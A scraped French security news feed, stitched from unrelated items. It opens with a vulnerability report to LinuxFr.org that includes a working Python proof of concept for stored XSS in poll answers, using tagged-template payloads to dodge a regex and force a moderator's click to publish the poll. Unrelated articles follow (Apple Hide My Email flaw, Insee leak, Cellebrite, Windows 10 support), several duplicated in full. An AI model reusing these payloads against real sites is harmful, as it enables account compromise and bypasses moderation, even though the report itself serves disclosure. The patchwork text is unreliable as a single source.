• lien nᵒ 1 : (RMLL 2009) Retour d'expérience sécurité sur 11 ans de LinuxFr.org
• lien nᵒ 2 : Les sondages sur LinuxFr.org

Bonjour,

J’ai lu le code source de linuxfr.org et je me suis intéressé aux sondages.
J’ai l’impression que certains échappements HTML ne fonctionnent pas très bien.

Il est possible de bypasser la regexp dans les réponses du sondage et
injecter du javascript dans les réponses.

En soi, ce ne serait pas grave, car un sondage doit être validé par un admin
pour que les utilisateurs le voient.

L’astuce ici consiste à utiliser une réponse avec du js qui fera valider
automatiquement le sondage par un admin, et mettre un second javascript
dans une autre réponse destiné aux utilisateurs, une fois le sondage
validé, permettant la compromission de tous les utilisateurs qui vont
cliquer sur le sondage.

Voici le poc en python (inliné dans le mail car google fait des dingueries
avec les pièces jointes en python):

#!/usr/bin/env python3
r"""
PoC — XSS stockee via linkify dans les reponses de sondage linuxfr.org

Vecteur : href="javascript:..." active au clic
Bypass regex : tagged template ` func`arg` ` au lieu de func('arg')
  - document.querySelector`.ok_button`  au lieu de
document.querySelector('.ok_button')
  - form.submit``                      au lieu de form.submit()
  - alert`msg`                         au lieu de alert('msg')
  Aucune parenthese `)` n'apparait dans l'URL markdown, donc la regex
  \[([^\]]*)\]\(([^)]*)\) ne peut rien manger.

Contrainte : 128 caracteres max (PollAnswer)
  Phase 1 : 64 car. (form.submit pour auto-publication)
  Phase 2 : 54 car. (alert de preuve)

Deroulement :
  1. Attaquant cree un sondage avec les payloads XSS
  2. Moderateuur visite /moderation/sondages/ID et clique sur [a]
  3. La publication se fait sans boite de confirmation
  4. Les visiteurs cliquent sur [b] -> alerte JavaScript

Usage :
  python3 poc.py <url> <user_session>

  <url>            : racine du site (ex: http://dlfp.lo)
  <user_session>   : valeur du cookie linuxfr.org_session (compte standard)

Exemple :
  python3 poc.py http://dlfp.lo "user_session_value"

Prerequis :
  pip install requests
"""

import re
import sys
from urllib.parse import urljoin, urlparse

import requests


def e(msg: str, code: int = 1) -> None:
    print(f"[-] {msg}")
    sys.exit(code)


def s(msg: str) -> None:
    print(f"[+] {msg}")


def info(msg: str) -> None:
    print(f"[*] {msg}")


def banner() -> None:
    print("=" * 68)
    print("  PoC — XSS linkify -> Auto-validation + XSS proof")
    print("  Vecteur : tagged templates dans href (pas de ) necessaire)")
    print("  Cible : linuxfr.org")
    print("=" * 68)


def make_session(cookie_value: str, target_url: str) -> requests.Session:
    s = requests.Session()
    hostname = urlparse(target_url).hostname
    s.cookies.set("linuxfr.org_session", cookie_value, domain=hostname)
    return s


def create_poll(url: str, session: requests.Session,) -> tuple[str, str]:
    """
    Cree un sondage avec les reponses malveillantes.
    """

    # Réponse 1 : 64 car. — form.submit() via tagged template
    # document.querySelector`.ok_button`   => querySelector('.ok_button')
    # form.submit``                        => form.submit()
    payload_phase1 = (
        "[a]"
        "(javascript:document.querySelector"
        "`.ok_button`.form.submit``)"
    )

    # Réponse 2 : 54 car. — alert via tagged template
    payload_phase2 = (
        "[b]"
        "(javascript:alert"
        "`smile this is your favorite XSS`)"
    )

    info("Chargement du formulaire de creation...")
    r = session.get(urljoin(url, "/sondages/nouveau"))
    csrf = re.search(
        r'name="authenticity_token" value="([^"]*)"', r.text
    )
    csrf = csrf.group(1)

    info("Creation du sondage malveillant...")
    r = session.post(urljoin(url, "/sondages"), data={
        "authenticity_token": csrf,
        "poll[title]": "PoC XSS — tagged template",
        "poll[wiki_explanations]": (
            "Cliquez sur les liens ci-dessous !"
        ),
        "poll[cc_licensed]": "1",
        "poll[answers_attributes][0][answer]": payload_phase1,
        "poll[answers_attributes][1][answer]": payload_phase2,
    })

    if r.status_code not in (200, 302):
        e(f"Creation echouee (HTTP {r.status_code})")

    print("Connectez vous en tant qu'admin et cliquez sur la réponse A")


def main():
    banner()

    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <url> <user_session>")
        print()
        print("Exemple :")
        print(f'  {sys.argv[0]} http://dlfp.lo "SESSION_USER"')
        sys.exit(1)

    target_url = sys.argv[1].rstrip("/")
    user_session_val = sys.argv[2]

    user_session = make_session(user_session_val, target_url)

    # Creation du sondage malveillant
    print()
    info("Creation du sondage avec payloads XSS")
    create_poll(target_url, user_session)


if __name__ == "__main__":
    main()

Et je joins les copies d’écran dans l’ordre :-)

C’était sympa à trigger, je ne pensais pas arriver à quelque chose avec
l’autovalidation de l’admin pour publier le sondage. Bon, il faut quand
même l’interaction d’un admin (d’où le fait que ce n’est pas très grave),
j’ai essayé des trucs à base de onmouseover, mais je n’arrive à rien de
bien ce soir, il fait trop chaud.

Merci de gérer et maintenir le site linuxfr, j’ai appris beaucoup de choses
en le lisant, même si je ne suis qu’un simple lecteur :-)
Merci de fournir le code source sur github, ça m’a permis de debug en live
mes tests.

Bonne soirée

Commentaires : voir le flux Atom ouvrir dans le navigateur

Des pirates ont caché un cheval de Troie dans du code partagé sur GitHub pour révéler des failles de sécurité. Une technique qui vise directement les chercheurs en cybersécurité.

Cachez cet émail que je ne saurais voir

La fonction Hide My Email (masquer mon e-mail) est victime d’une faille. Signalée l’année dernière, elle permet de retrouver la véritable adresse d’un utilisateur, faisant perdre l’intérêt de cette fonction pensée pour la vie privée. En outre, un changement de domaine prévu par l’entreprise pourrait encore affaiblir son efficacité.

« Masquer mon adresse e-mail » est une fonction lancée en 2021 et proposée par Apple à toutes les personnes disposant d’un compte iCloud+. On peut l’obtenir notamment avec n’importe quel abonnement lié au stockage, même l’offre de 50 Go à 0,99 euro par mois. Elle permet, lors de l’inscription à un service, via un site ou une application, de créer automatiquement une fausse adresse, généralement composée de deux mots aléatoires et d’un chiffre, et reliée à l’adresse principale.

Cette fonction contient une faille, révèle 404 Media. Nos confrères ont échangé avec Tyler Murphy, découvreur de la vulnérabilité et cofondateur de la société EasyOptOuts, qui commercialise un service de suppression des données personnelles.

Apple prend son temps

Tyler Murphy a contacté Apple pour la première fois le 11 juin 2025, il y a donc plus d’un an. Le mois suivant, Apple a répondu qu’elle allait examiner le problème. Avance rapide jusqu’en mars 2026, quand Apple signale apparemment avoir « résolu le problème signalé dans une récente modification du système ». Le découvreur, de son côté, dit constater que la faille est toujours exploitable, ce à quoi Apple a répondu qu’elle se repenchait sur le problème.

En mai, l’entreprise a signalé être toujours en cours d’investigation et demandé à Tyler Murphy de ne divulguer aucune information publiquement, le temps que l’enquête soit terminée. Fin mai, Apple a annoncé qu’un correctif a été développé et qu’il serait appliqué « dans les prochaines semaines ». Mais le 29 juin, sans nouvelles, le découvreur finit par contacter 404 Media, qui publie son article deux jours plus tard.

Dans cette publication, le journaliste Joseph Cox indique avoir généré une nouvelle adresse masquée et l’avoir transmise à Tyler Murphy. Environ cinq minutes plus tard, ce dernier lui a communiqué son adresse e-mail réelle liée à son compte Apple. Selon Murphy, dans les tests limités menés avec des volontaires, 100 % des adresses « Masquer mon adresse e-mail » testées se sont révélées exploitables de cette manière, montrant au passage que le problème n’était toujours pas résolu, plus d’un an après son signalement.

Le découvreur souligne un risque concret lié à l’écosystème des courtiers en données : les sites de recherche de personnes, gratuits et accessibles au public, permettent facilement de relier une adresse e-mail à d’autres informations personnelles, ce qui expose les utilisateurs s’appuyant sur « Masquer mon adresse e-mail » pour leur sécurité. Ce risque touche particulièrement les personnes utilisant le service à des fins sensibles : pour échapper à un harcèlement, lancer une alerte ou encore pour de l’activisme.

404 Media, TechCrunch et d’autres acteurs de la presse en ligne ont contacté Apple pour obtenir des informations, mais l’entreprise n’a pas encore répondu.

Mauvais timing

Si la faille fait parler, c’est parce qu’Apple ne communique pas à son sujet… et aussi parce que l’entreprise prépare un changement qui pourrait affaiblir la sécurité de son service.

TechCrunch a abordé le problème dans un article le 16 juin. Nos confrères expliquent que l’efficacité de « Masquer mon adresse e-mail » tient beaucoup à l’utilisation du même domaine pour les fausses adresses que pour les vraies : elles finissent toutes par « @icloud.com ». Mais dans une note aux développeurs publiée le 15 juin, Apple indique qu’elle va unifier les domaines utilisés aussi bien pour sa fonction « Connexion avec Apple » (qui permet de créer facilement un compte chez un tiers depuis le compte Apple) que par « Masquer mon adresse e-mail » : private.icloud.com.

Et de résumer le changement, qui interviendra « plus tard » cet été :

• Les adresses utilisées par « Connexion avec Apple », jusqu’ici sur le domaine privaterelay.appleid.com, seront émises sur private.icloud.com.
• Les adresses utilisées par « Masquer mon adresse e-mail », jusqu’ici sur le domaine icloud.com, seront émises sur private.icloud.com.

Or, depuis environ deux semaines que l’information est parue, beaucoup critiquent ce changement, notamment sur Reddit. En dehors du changement lui-même qui peut révéler instantanément qu’il s’agit d’une fausse adresse, la critique qui revient le plus souvent est la capacité des entreprises à bloquer plus simplement ce type d’adresse.

« Hide My Email est efficace précisément parce que tu ne peux pas facilement filtrer les adresses qu’il génère. Je serais très surpris si on ne voit pas des services commencer à refuser de te laisser t’inscrire avec un domaine private.icloud.com. Ça sent l’industrie qui fait pression sur Apple, ce qui est hilarant puisque ça a essentiellement tué la principale métrique que les spécialistes du marketing par e-mail utilisaient pour mesurer la performance (ce qui était bien, les clics sont une bien meilleure métrique à optimiser) », juge ainsi l’utilisateur MalevolentFerret.

Problème : si Apple a communiqué sur le changement, l’entreprise n’a rien dit sur les raisons qui la poussaient à cette unification. S’il s’agit réellement d’une pression de l’industrie, il est possible qu’un nombre croissant de services finissent en effet par rejeter les créations de comptes basées sur ces fausses adresses.

Apple précise quand même dans sa note que toutes les adresses déjà en place continueront de fonctionner de la même manière. La modification ne concernera que les adresses créées après la bascule, dont la date exacte n’est pas connue.

TechCrunch rappelle en outre que si un utilisateur iCloud+ peut effectivement créer de fausses adresses, Apple garde en main les informations qui permettent de la relier au compte réel, les fausses adresses fonctionnant – dans les grandes lignes – comme un alias. L’entreprise en a donné la preuve fin mars, lorsqu’elle a remis au FBI les informations d’un utilisateur qui avait utilisé une adresse masquée pour un courrier jugé « menaçant » à la compagne de Kash Patel, directeur du FBI.

Cachez cet émail que je ne saurais voir

La fonction Hide My Email (masquer mon e-mail) est victime d’une faille. Signalée l’année dernière, elle permet de retrouver la véritable adresse d’un utilisateur, faisant perdre l’intérêt de cette fonction pensée pour la vie privée. En outre, un changement de domaine prévu par l’entreprise pourrait encore affaiblir son efficacité.

« Masquer mon adresse e-mail » est une fonction lancée en 2021 et proposée par Apple à toutes les personnes disposant d’un compte iCloud+. On peut l’obtenir notamment avec n’importe quel abonnement lié au stockage, même l’offre de 50 Go à 0,99 euro par mois. Elle permet, lors de l’inscription à un service, via un site ou une application, de créer automatiquement une fausse adresse, généralement composée de deux mots aléatoires et d’un chiffre, et reliée à l’adresse principale.

Cette fonction contient une faille, révèle 404 Media. Nos confrères ont échangé avec Tyler Murphy, découvreur de la vulnérabilité et cofondateur de la société EasyOptOuts, qui commercialise un service de suppression des données personnelles.

Apple prend son temps

Tyler Murphy a contacté Apple pour la première fois le 11 juin 2025, il y a donc plus d’un an. Le mois suivant, Apple a répondu qu’elle allait examiner le problème. Avance rapide jusqu’en mars 2026, quand Apple signale apparemment avoir « résolu le problème signalé dans une récente modification du système ». Le découvreur, de son côté, dit constater que la faille est toujours exploitable, ce à quoi Apple a répondu qu’elle se repenchait sur le problème.

En mai, l’entreprise a signalé être toujours en cours d’investigation et demandé à Tyler Murphy de ne divulguer aucune information publiquement, le temps que l’enquête soit terminée. Fin mai, Apple a annoncé qu’un correctif a été développé et qu’il serait appliqué « dans les prochaines semaines ». Mais le 29 juin, sans nouvelles, le découvreur finit par contacter 404 Media, qui publie son article deux jours plus tard.

Dans cette publication, le journaliste Joseph Cox indique avoir généré une nouvelle adresse masquée et l’avoir transmise à Tyler Murphy. Environ cinq minutes plus tard, ce dernier lui a communiqué son adresse e-mail réelle liée à son compte Apple. Selon Murphy, dans les tests limités menés avec des volontaires, 100 % des adresses « Masquer mon adresse e-mail » testées se sont révélées exploitables de cette manière, montrant au passage que le problème n’était toujours pas résolu, plus d’un an après son signalement.

Le découvreur souligne un risque concret lié à l’écosystème des courtiers en données : les sites de recherche de personnes, gratuits et accessibles au public, permettent facilement de relier une adresse e-mail à d’autres informations personnelles, ce qui expose les utilisateurs s’appuyant sur « Masquer mon adresse e-mail » pour leur sécurité. Ce risque touche particulièrement les personnes utilisant le service à des fins sensibles : pour échapper à un harcèlement, lancer une alerte ou encore pour de l’activisme.

404 Media, TechCrunch et d’autres acteurs de la presse en ligne ont contacté Apple pour obtenir des informations, mais l’entreprise n’a pas encore répondu.

Mauvais timing

Si la faille fait parler, c’est parce qu’Apple ne communique pas à son sujet… et aussi parce que l’entreprise prépare un changement qui pourrait affaiblir la sécurité de son service.

TechCrunch a abordé le problème dans un article le 16 juin. Nos confrères expliquent que l’efficacité de « Masquer mon adresse e-mail » tient beaucoup à l’utilisation du même domaine pour les fausses adresses que pour les vraies : elles finissent toutes par « @icloud.com ». Mais dans une note aux développeurs publiée le 15 juin, Apple indique qu’elle va unifier les domaines utilisés aussi bien pour sa fonction « Connexion avec Apple » (qui permet de créer facilement un compte chez un tiers depuis le compte Apple) que par « Masquer mon adresse e-mail » : private.icloud.com.

Et de résumer le changement, qui interviendra « plus tard » cet été :

• Les adresses utilisées par « Connexion avec Apple », jusqu’ici sur le domaine privaterelay.appleid.com, seront émises sur private.icloud.com.
• Les adresses utilisées par « Masquer mon adresse e-mail », jusqu’ici sur le domaine icloud.com, seront émises sur private.icloud.com.

Or, depuis environ deux semaines que l’information est parue, beaucoup critiquent ce changement, notamment sur Reddit. En dehors du changement lui-même qui peut révéler instantanément qu’il s’agit d’une fausse adresse, la critique qui revient le plus souvent est la capacité des entreprises à bloquer plus simplement ce type d’adresse.

« Hide My Email est efficace précisément parce que tu ne peux pas facilement filtrer les adresses qu’il génère. Je serais très surpris si on ne voit pas des services commencer à refuser de te laisser t’inscrire avec un domaine private.icloud.com. Ça sent l’industrie qui fait pression sur Apple, ce qui est hilarant puisque ça a essentiellement tué la principale métrique que les spécialistes du marketing par e-mail utilisaient pour mesurer la performance (ce qui était bien, les clics sont une bien meilleure métrique à optimiser) », juge ainsi l’utilisateur MalevolentFerret.

Problème : si Apple a communiqué sur le changement, l’entreprise n’a rien dit sur les raisons qui la poussaient à cette unification. S’il s’agit réellement d’une pression de l’industrie, il est possible qu’un nombre croissant de services finissent en effet par rejeter les créations de comptes basées sur ces fausses adresses.

Apple précise quand même dans sa note que toutes les adresses déjà en place continueront de fonctionner de la même manière. La modification ne concernera que les adresses créées après la bascule, dont la date exacte n’est pas connue.

TechCrunch rappelle en outre que si un utilisateur iCloud+ peut effectivement créer de fausses adresses, Apple garde en main les informations qui permettent de la relier au compte réel, les fausses adresses fonctionnant – dans les grandes lignes – comme un alias. L’entreprise en a donné la preuve fin mars, lorsqu’elle a remis au FBI les informations d’un utilisateur qui avait utilisé une adresse masquée pour un courrier jugé « menaçant » à la compagne de Kash Patel, directeur du FBI.

WhatsApp permet désormais de discuter sur la messagerie sans dévoiler son numéro de téléphone. Un vrai progrès pour la confidentialité, mais qui déplace la question ailleurs : celle de la confiance que l'on accorde à un pseudo.

Deux chercheurs allemands ont mis au jour six vulnérabilités dans les fonctionnalités de partage sans fil d'Apple et de Google/Samsung. De quoi faire planter des appareils à proximité, sans aucune interaction de la victime.

Pendant des mois, des prestataires payés par Meta se seraient fait passer pour des mineurs afin de tester les limites des chatbots concurrents. Un dispositif interne dévoilé par le média américain WIRED.

• lien nᵒ 1 : April
• lien nᵒ 2 : Revue de presse de l'April
• lien nᵒ 3 : Revue de presse de la semaine précédente
• lien nᵒ 4 : 🕸 Fils du Net

Commentaires : voir le flux Atom ouvrir dans le navigateur

Dans un communiqué publié le vendredi 26 juin dernier, l’Institut national de la statistique et des études économiques (Insee) annonce un incident de cybersécurité sur l’annuaire de ses agents, avec une fuite de données.

« Cette violation concerne l’identité d’environ 12 800 personnes travaillant, ayant travaillé à l’Insee ou issues des corps de l’Insee, ainsi que leurs coordonnées professionnelles ». L’institut affirme qu’aucun mot de passe, coordonnée personnelle ou bancaire, numéro de Sécurité sociale ou information de santé n’a été récupéré par les pirates.

Il ajoute n’avoir relevé aucune trace d’une « compromission des données collectées par l’Insee auprès des entreprises ou des personnes »… mais « l’institut recommande cependant aux entreprises comme aux particuliers la plus grande prudence en cas de réception d’un message qui semblerait provenir d’un agent de l’Insee ».

Comme la loi l’y oblige, l’incident a été signalé à la CNIL. L’Insee affirme aussi qu’une plainte a été déposée auprès du procureur de la République.

L’Insee est le dernier d’une (trop) longue liste d’administrations et services de l’État piratés ces derniers mois. Il y a moins de deux semaines, c’était la plateforme JeVeuxAider.gouv.fr qui reconnaissait que « 550 000 comptes sont concernés par une extraction de données en lecture seule ». Cela concernait des noms, emails, numéros de téléphone, dates de naissance et historiques d’engagement des utilisateurs.

Début juin, c’était la messagerie sécurisée Tchap qui était victime d’un incident de sécurité. En avril, c’était l’ANTS avec au moins 11,7 millions de comptes. Suite à cela, Sébastien Lecornu a présenté le plan du gouvernement pour essayer de stopper l’hémoragie.

• Cybersécurité de l’État : le plan du gouvernement pour (essayer de) stopper l’hémorragie

Le phénomène n’est pas nouveau… En 2024, France Travail faisait « all-in » avec des données de 43 millions de personnes potentiellement dérobées.

• [Édito] Internet, un annuaire des Français à ciel ouvert

Dans un communiqué publié le vendredi 26 juin dernier, l’Institut national de la statistique et des études économiques (Insee) annonce un incident de cybersécurité sur l’annuaire de ses agents, avec une fuite de données.

« Cette violation concerne l’identité d’environ 12 800 personnes travaillant, ayant travaillé à l’Insee ou issues des corps de l’Insee, ainsi que leurs coordonnées professionnelles ». L’institut affirme qu’aucun mot de passe, coordonnée personnelle ou bancaire, numéro de Sécurité sociale ou information de santé n’a été récupéré par les pirates.

Il ajoute n’avoir relevé aucune trace d’une « compromission des données collectées par l’Insee auprès des entreprises ou des personnes »… mais « l’institut recommande cependant aux entreprises comme aux particuliers la plus grande prudence en cas de réception d’un message qui semblerait provenir d’un agent de l’Insee ».

Comme la loi l’y oblige, l’incident a été signalé à la CNIL. L’Insee affirme aussi qu’une plainte a été déposée auprès du procureur de la République.

L’Insee est le dernier d’une (trop) longue liste d’administrations et services de l’État piratés ces derniers mois. Il y a moins de deux semaines, c’était la plateforme JeVeuxAider.gouv.fr qui reconnaissait que « 550 000 comptes sont concernés par une extraction de données en lecture seule ». Cela concernait des noms, emails, numéros de téléphone, dates de naissance et historiques d’engagement des utilisateurs.

Début juin, c’était la messagerie sécurisée Tchap qui était victime d’un incident de sécurité. En avril, c’était l’ANTS avec au moins 11,7 millions de comptes. Suite à cela, Sébastien Lecornu a présenté le plan du gouvernement pour essayer de stopper l’hémoragie.

• Cybersécurité de l’État : le plan du gouvernement pour (essayer de) stopper l’hémorragie

Le phénomène n’est pas nouveau… En 2024, France Travail faisait « all-in » avec des données de 43 millions de personnes potentiellement dérobées.

• [Édito] Internet, un annuaire des Français à ciel ouvert

• lien nᵒ 1 : Le site de la conférence
• lien nᵒ 2 : Les speakers
• lien nᵒ 3 : L'agenda
• lien nᵒ 4 : Sponsoriser, c'est encore possible !

Commentaires : voir le flux Atom ouvrir dans le navigateur

Une vague de mails malveillants frappe actuellement la France avec une caractéristique inédite : les messages usurpent l'identité de membres de la famille des victimes en usurpant leurs noms exacts. Numerama a pu recueillir plusieurs échantillons de cette campagne.

En mai 2021, suite à l’incarcération de l’opposant au régime russe Andreï Pivovarov, plusieurs autres personnalités politiques avaient été soumises à des perquisitions policières.

Il n’avait pas donné ses mots de passe, mais les autorités russes ont pu accéder aux données de son iPhone 12 qui lui avait été confisqué avec son MacBook.

Les chercheurs du Citizen Lab ont pu analyser le smartphone de l’activiste et trouver des traces des outils d’extraction de l’entreprise de cybersécurité israélienne. Dans un billet de blog, ils expliquent qu’ils ont pu détecter que l’iPhone a été branché à un appareil dont ils avaient déjà attribué précédemment l’Host ID à l’entreprise de cybersécurité israélienne Cellebrite. Ils ont ensuite pu obtenir un document du Centre russe d’expertise de cybersécurité du ministère russe de l’Intérieur (MVD) qui confirme l’utilisation des outils de cette entreprise pour analyser l’iPhone.

Pour le MacBook d’Andreï Pivovarov, « les autorités semblent ne pas avoir réussi à y accéder », affirme le Citizen Lab.

Pour ce faire, la Russie n’aurait pas respecté les conditions du contrat de Cellebrite dans cette affaire. En effet, interrogée par les chercheurs, l’entreprise israélienne a envoyé une réponse [PDF] dans laquelle elle explique que « toute utilisation de matériel Cellebrite en Russie après mars 2021 est strictement interdite. Le matériel Cellebrite vendu avant mars 2021 sera désormais incompatible avec les appareils modernes et fonctionnerait sans notre assistance technique, sans notre consentement et sans aucune autorisation légale de la part de Cellebrite. Les progrès technologiques rapides rendent le matériel et les logiciels de cybersécurité obsolètes en très peu de temps. La Russie figure de manière permanente sur notre liste de clients soumis à des restrictions ».

En mai 2021, suite à l’incarcération de l’opposant au régime russe Andreï Pivovarov, plusieurs autres personnalités politiques avaient été soumises à des perquisitions policières.

Il n’avait pas donné ses mots de passe, mais les autorités russes ont pu accéder aux données de son iPhone 12 qui lui avait été confisqué avec son MacBook.

Les chercheurs du Citizen Lab ont pu analyser le smartphone de l’activiste et trouver des traces des outils d’extraction de l’entreprise de cybersécurité israélienne. Dans un billet de blog, ils expliquent qu’ils ont pu détecter que l’iPhone a été branché à un appareil dont ils avaient déjà attribué précédemment l’Host ID à l’entreprise de cybersécurité israélienne Cellebrite. Ils ont ensuite pu obtenir un document du Centre russe d’expertise de cybersécurité du ministère russe de l’Intérieur (MVD) qui confirme l’utilisation des outils de cette entreprise pour analyser l’iPhone.

Pour le MacBook d’Andreï Pivovarov, « les autorités semblent ne pas avoir réussi à y accéder », affirme le Citizen Lab.

Pour ce faire, la Russie n’aurait pas respecté les conditions du contrat de Cellebrite dans cette affaire. En effet, interrogée par les chercheurs, l’entreprise israélienne a envoyé une réponse [PDF] dans laquelle elle explique que « toute utilisation de matériel Cellebrite en Russie après mars 2021 est strictement interdite. Le matériel Cellebrite vendu avant mars 2021 sera désormais incompatible avec les appareils modernes et fonctionnerait sans notre assistance technique, sans notre consentement et sans aucune autorisation légale de la part de Cellebrite. Les progrès technologiques rapides rendent le matériel et les logiciels de cybersécurité obsolètes en très peu de temps. La Russie figure de manière permanente sur notre liste de clients soumis à des restrictions ».

Nouveau sursis

Microsoft vient de procéder, ce jeudi 25 juin, à un changement important dans le support de Windows 10 : tous les appareils ayant souscrit au programme ESU (Extended Support Updates) recevront des mises à jour de sécurité pendant une année supplémentaire, portant la nouvelle date de fin au 12 octobre 2027.

Pour rappel, la fin du support de Windows 10 a provoqué de nombreuses frustrations. Beaucoup se posaient la question : pourquoi changer un matériel parfaitement fonctionnel ? Pour Microsoft, la logique était économique, puisque la mise à jour vers Windows 11 réclamait obligatoirement certains composants liés à la sécurité, provoquant une vague d’achats de nouveaux matériels.

• Windows 10 obtient un an de sursis en Europe… en quelque sorte
• Windows 10 : comment bénéficier d’un an de support technique supplémentaire ?

Mais le contexte a profondément changé en un an. Linux commence à se faire une place chez les joueurs, alors que les jeux vidéo étaient pratiquement la chasse gardée de Microsoft sur les PC. En outre, plus récemment, la course à l’IA a entrainé une flambée des tarifs sur les composants, rendant les achats de PC plus onéreux.

En Europe, Microsoft avait décidé de calmer un peu le jeu en rendant l’inscription au programme ESU gratuite la première année. La démarche était cependant volontaire, même si le système envoie des notifications à ce sujet. En outre, il est obligatoire de posséder un compte Microsoft pour activer cette extension. Enfin, le programme concerne uniquement les failles de sécurité de sévérité importante à critique, pas les autres ni les bugs plus généraux.

Microsoft, qui semble depuis quelque temps vouloir redorer un peu son blason, annonce donc une nouvelle étape : la fin du programme ESU est repoussée d’un an, glissant du 16 octobre 2026 au 12 octobre 2027.

Microsoft « comprend »

Interrogée par plusieurs médias, l’entreprise se veut apaisante. « Nous comprenons que le passage à un nouveau PC peut prendre du temps. Dans le cadre de notre engagement continu à aider nos clients à rester protégés pendant cette transition, le programme de mises à jour de sécurité étendues (ESU) de Windows 10 pour les appareils personnels est prolongé d’une année supplémentaire », a ainsi déclaré un porte-parole à BFMTV.

« Cela offre à nos clients davantage de temps et de flexibilité pour trouver le PC le mieux adapté à leurs besoins, tout en leur permettant de rester protégés », a ajouté Microsoft.

Du côté de l’association HOP (Halte à l’Obsolescence Programmée), on applaudit avec mesure : elle « salue la nouvelle, mais reste nuancée face à cette volte-face très tardive ». L’association rappelle qu’en tenant compte de cette année supplémentaire, Windows 10 aura finalement 12 ans de support pour la sécurité. Un score qu’elle juge « insuffisant », car elle réclame 15 ans à partir de la dernière unité vendue.

Nouveau sursis

Microsoft vient de procéder, ce jeudi 25 juin, à un changement important dans le support de Windows 10 : tous les appareils ayant souscrit au programme ESU (Extended Support Updates) recevront des mises à jour de sécurité pendant une année supplémentaire, portant la nouvelle date de fin au 12 octobre 2027.

Pour rappel, la fin du support de Windows 10 a provoqué de nombreuses frustrations. Beaucoup se posaient la question : pourquoi changer un matériel parfaitement fonctionnel ? Pour Microsoft, la logique était économique, puisque la mise à jour vers Windows 11 réclamait obligatoirement certains composants liés à la sécurité, provoquant une vague d’achats de nouveaux matériels.

• Windows 10 obtient un an de sursis en Europe… en quelque sorte
• Windows 10 : comment bénéficier d’un an de support technique supplémentaire ?

Mais le contexte a profondément changé en un an. Linux commence à se faire une place chez les joueurs, alors que les jeux vidéo étaient pratiquement la chasse gardée de Microsoft sur les PC. En outre, plus récemment, la course à l’IA a entrainé une flambée des tarifs sur les composants, rendant les achats de PC plus onéreux.

En Europe, Microsoft avait décidé de calmer un peu le jeu en rendant l’inscription au programme ESU gratuite la première année. La démarche était cependant volontaire, même si le système envoie des notifications à ce sujet. En outre, il est obligatoire de posséder un compte Microsoft pour activer cette extension. Enfin, le programme concerne uniquement les failles de sécurité de sévérité importante à critique, pas les autres ni les bugs plus généraux.

Microsoft, qui semble depuis quelque temps vouloir redorer un peu son blason, annonce donc une nouvelle étape : la fin du programme ESU est repoussée d’un an, glissant du 16 octobre 2026 au 12 octobre 2027.

Microsoft « comprend »

Interrogée par plusieurs médias, l’entreprise se veut apaisante. « Nous comprenons que le passage à un nouveau PC peut prendre du temps. Dans le cadre de notre engagement continu à aider nos clients à rester protégés pendant cette transition, le programme de mises à jour de sécurité étendues (ESU) de Windows 10 pour les appareils personnels est prolongé d’une année supplémentaire », a ainsi déclaré un porte-parole à BFMTV.

« Cela offre à nos clients davantage de temps et de flexibilité pour trouver le PC le mieux adapté à leurs besoins, tout en leur permettant de rester protégés », a ajouté Microsoft.

Du côté de l’association HOP (Halte à l’Obsolescence Programmée), on applaudit avec mesure : elle « salue la nouvelle, mais reste nuancée face à cette volte-face très tardive ». L’association rappelle qu’en tenant compte de cette année supplémentaire, Windows 10 aura finalement 12 ans de support pour la sécurité. Un score qu’elle juge « insuffisant », car elle réclame 15 ans à partir de la dernière unité vendue.

La Commission européenne vient de rejeter le projet de décret du gouvernement français encadrant le filtre national de cybersécurité. En pointant de graves manquements au droit de l'Union, Bruxelles gèle le dispositif et compromet sa sortie à brève échéance.